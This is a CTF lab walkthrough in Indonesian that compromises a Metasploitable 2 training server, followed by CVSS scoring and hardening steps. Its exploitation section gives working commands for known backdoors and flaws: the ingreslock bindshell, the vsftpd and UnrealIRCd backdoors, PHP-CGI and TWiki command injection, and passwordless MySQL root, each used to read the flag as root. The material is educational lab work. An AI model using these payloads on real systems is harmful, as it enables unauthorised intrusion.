TDCTF Academy Logo TDCTF ACADEMY

Metasploitable 2 - Multi Vuln

Target: server-vuln.vuln.cybersecurity.or.id
Tools: nmap, netcat, curl, smbclient, mysql
Level: Lanjutan
OS: Metasploitable 2 (Linux Ubuntu 8.04)


Objective

Mengkompromikan server Metasploitable 2 melalui berbagai kerentanan yang ada di service-service yang berjalan. Target akhir adalah mendapatkan root shell dan mengekstrak flag.


Reconnaissance

1.1. Port Scanning

Langkah pertama adalah melakukan port scan untuk mengidentifikasi service yang berjalan:

nmap -sV -p- --min-rate=5000 server-vuln.vuln.cybersecurity.or.id

Output - 20+ port terbuka:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp open telnet Linux telnetd
25/tcp open smtp Sendmail 8.13.8
80/tcp open http Apache httpd 2.2.8
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open netbios-ssn Samba smbd 3.X
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell NetKit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 (GNU)
5432/tcp open postgresql PostgreSQL DB 8.3.0
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8)

1.2. Identifikasi Celah Potensial

Dari hasil scan, beberapa service memiliki kerentanan terkenal:

Port Service Versi Celah Dikenal
21 vsftpd 2.3.4 Backdoor RCE (port 6200)
80 Apache 2.2.8 Web apps vulnerable
1524 ingreslock - Bindshell root
3306 MySQL 5.0.51a Root tanpa password
3632 distccd v1 RCE via distcc
5900 VNC TightVNC Password default
6667 UnrealIRCD 3.2.8.1 Backdoor RCE
8787 DRb Ruby 1.8 RCE via Ruby DRb

Exploitation

2.1. Bindshell - Root Langsung (Port 1524)

Ini adalah celah paling cepat - port 1524 (ingreslock) memberikan root shell langsung tanpa autentikasi:

echo "id" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 1524

Output - root shell:

uid=0(root) gid=0(root) groups=0(root)

Ambil flag:

echo "cat /flag.txt" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 1524

Output - flag:

FLAG{M3t4spl01t4bl3_R0ot_Sh3ll_2025}

2.2. Vsftpd Backdoor (Port 21)

vsftpd 2.3.4 memiliki backdoor yang terpicu saat login dengan username mengandung smiley :):

echo -e "USER user:) \nPASS pass\n" | nc -w 3 server-vuln.vuln.cybersecurity.or.id 21

Jika berhasil, backdoor membuka shell di port 6200:

echo "id" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 6200

Output:

uid=0(root) gid=0(root) groups=0(root)

2.3. UnrealIRCD Backdoor (Port 6667)

UnrealIRCD 3.2.8.1 memiliki backdoor remote code execution yang terkenal. Payload dikirim melalui perintah IRC dengan prefix AB;:

# RCE via UnrealIRCD backdoor
echo -e "AB; /bin/bash -c 'id > /tmp/pwned' \n" | nc -w 3 server-vuln.vuln.cybersecurity.or.id 6667

# Atau langsung eksekusi
echo -e "AB; id \n" | timeout 3 nc server-vuln.vuln.cybersecurity.or.id 6667

2.4. MySQL - Root Access (Port 3306)

MySQL berjalan dengan user root tanpa password:

mysql -h server-vuln.vuln.cybersecurity.or.id -u root

Di dalam MySQL:

mysql> SHOW DATABASES;
mysql> USE mysql;
mysql> SELECT user, host, password FROM user;
mysql> SELECT LOAD_FILE('/flag.txt');

Output LOAD_FILE:

FLAG{M3t4spl01t4bl3_R0ot_Sh3ll_2025}

2.5. PHP-CGI RCE (Port 80)

Apache menjalankan aplikasi web rentan seperti DVWA, phpMyAdmin, dan TWiki. Salah satu yang paling cepat dieksploitasi adalah PHP-CGI Argument Injection:

curl -s "http://server-vuln.vuln.cybersecurity.or.id/cgi-bin/php?-d+allow_url_include=on+d+auto_prepend_file=php://input" \
-d "<?php system('cat /flag.txt'); ?>"

Atau melalui TWiki RCE:

curl -s "http://server-vuln.vuln.cybersecurity.or.id/twiki/bin/view/Main/WebHome?rev=1;cat+/flag.txt"

2.6. Samba - Anonymous Share (Port 445)

Samba 3.0.20 memiliki share anonim yang bisa diakses tanpa autentikasi:

# List shares
smbclient -L //server-vuln.vuln.cybersecurity.or.id -N

Output:

Sharename Type Comment
--------- ---- -------
tmp Disk Temporary file space
opt Disk
IPC$ IPC IPC Service (metasploitable server)

Akses share dan download file:

smbclient //server-vuln.vuln.cybersecurity.or.id/tmp -N
smb: \> ls
smb: \> get flag.txt

2.7. distccd RCE (Port 3632)

distccd adalah service distribusi compiler yang bisa dieksploitasi untuk eksekusi perintah:

python3 -c "
import socket
s = socket.socket()
s.connect(('server-vuln.vuln.cybersecurity.or.id', 3632))
# distcc protocol - send command
s.send(b'DIST00000001ECLIENT00000000008SHOW00000005VERSI\n')
print(s.recv(1024).decode())
s.close()
"

2.8. VNC - Default Password (Port 5900)

VNC menggunakan password default yang sangat lemah:

# Password: password
vncviewer server-vuln.vuln.cybersecurity.or.id:5900

Atau dengan password crack:

echo -ne '\x00\x00\x00\x00\x00\x00\x00\x00' | nc -w 1 server-vuln.vuln.cybersecurity.or.id 5900

Evidence

Screenshot 1: Nmap Scan - 20+ Service

Nmap Scan Result

Gambar: Hasil port scanning nmap yang menampilkan 20+ service berjalan dengan versi masing-masing.

Screenshot 2: Bindshell - Root Shell via Port 1524

Bindshell Root Shell

Gambar: Root shell langsung didapatkan melalui port 1524 tanpa autentikasi.

Screenshot 3: MySQL - Root Access Tanpa Password

MySQL Root Access

Gambar: MySQL root tanpa password, flag berhasil dibaca menggunakan LOAD_FILE.

Ringkasan Celah yang Berhasil Dieksploitasi

# Celah Port Tingkat Kesulitan Hasil
1 Bindshell (ingreslock) 1524 🟢 Mudah Root shell langsung
2 Vsftpd backdoor 21 🟢 Mudah Root shell via port 6200
3 MySQL root no pass 3306 🟢 Mudah Akses database root
4 UnrealIRCD backdoor 6667 🟡 Sedang RCE via IRC
5 PHP-CGI RCE 80 🟡 Sedang RCE via web
6 Samba anonymous 445 🟢 Mudah Akses file share
7 VNC default pass 5900 🟢 Mudah Remote desktop

️ Risk Assessment (CVSS 3.1)

Bindshell (Port 1524) - Paling Kritis

Metrik Nilai
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 10.0 (Critical)
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Dampak Kumulatif

Aspek Dampak
Total celah 8+ kerentanan bisa dieksploitasi
Akses root 3 cara berbeda untuk root shell
Data breach Semua database dan file bisa dibaca
Lateral movement Server bisa menjadi pivot untuk serangan lanjutan
Persistence Backdoor bisa dipasang permanen

️ Remediation

1. Matikan Service yang Tidak Diperlukan

# Matikan bindshell
kill $(lsof -ti:1524)

# Matikan service tidak perlu
service vsftpd stop
service telnet stop
service sendmail stop
service distccd stop
service vncserver stop

2. Update OS dan Paket

# Upgrade semua paket
apt-get update && apt-get upgrade -y

# Update kernel
apt-get install linux-image-generic -y

# Update aplikasi web
apt-get install apache2 php mysql-server -y

3. Konfigurasi Firewall

# UFW (Uncomplicated Firewall)
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw allow http
ufw enable

Atau menggunakan iptables:

# Blokir semua port yang tidak perlu
iptables -A INPUT -p tcp --dport 1524 -j DROP
iptables -A INPUT -p tcp --dport 6667 -j DROP
iptables -A INPUT -p tcp --dport 3632 -j DROP
iptables -A INPUT -p tcp --dport 5900 -j DROP

4. Konfigurasi MySQL Lebih Aman

-- Set password root
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('StrongP@ssw0rd!');

-- Hapus user anonim
DROP USER ''@'localhost';

-- Nonaktifkan LOAD_FILE untuk user non-root
REVOKE FILE ON *.* FROM 'root'@'localhost';

5. Hapus Aplikasi Web Rentan

# Hapus aplikasi yang tidak diperlukan
rm -rf /var/www/dvwa
rm -rf /var/www/phpMyAdmin
rm -rf /var/www/twiki
rm -rf /var/www/mutillidae

6. Samba Hardening

# Di /etc/samba/smb.conf
[global]
restrict anonymous = 2
map to guest = bad user

# Hapus share publik
#[tmp]
# comment = Temporary file space
# path = /tmp

References


Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI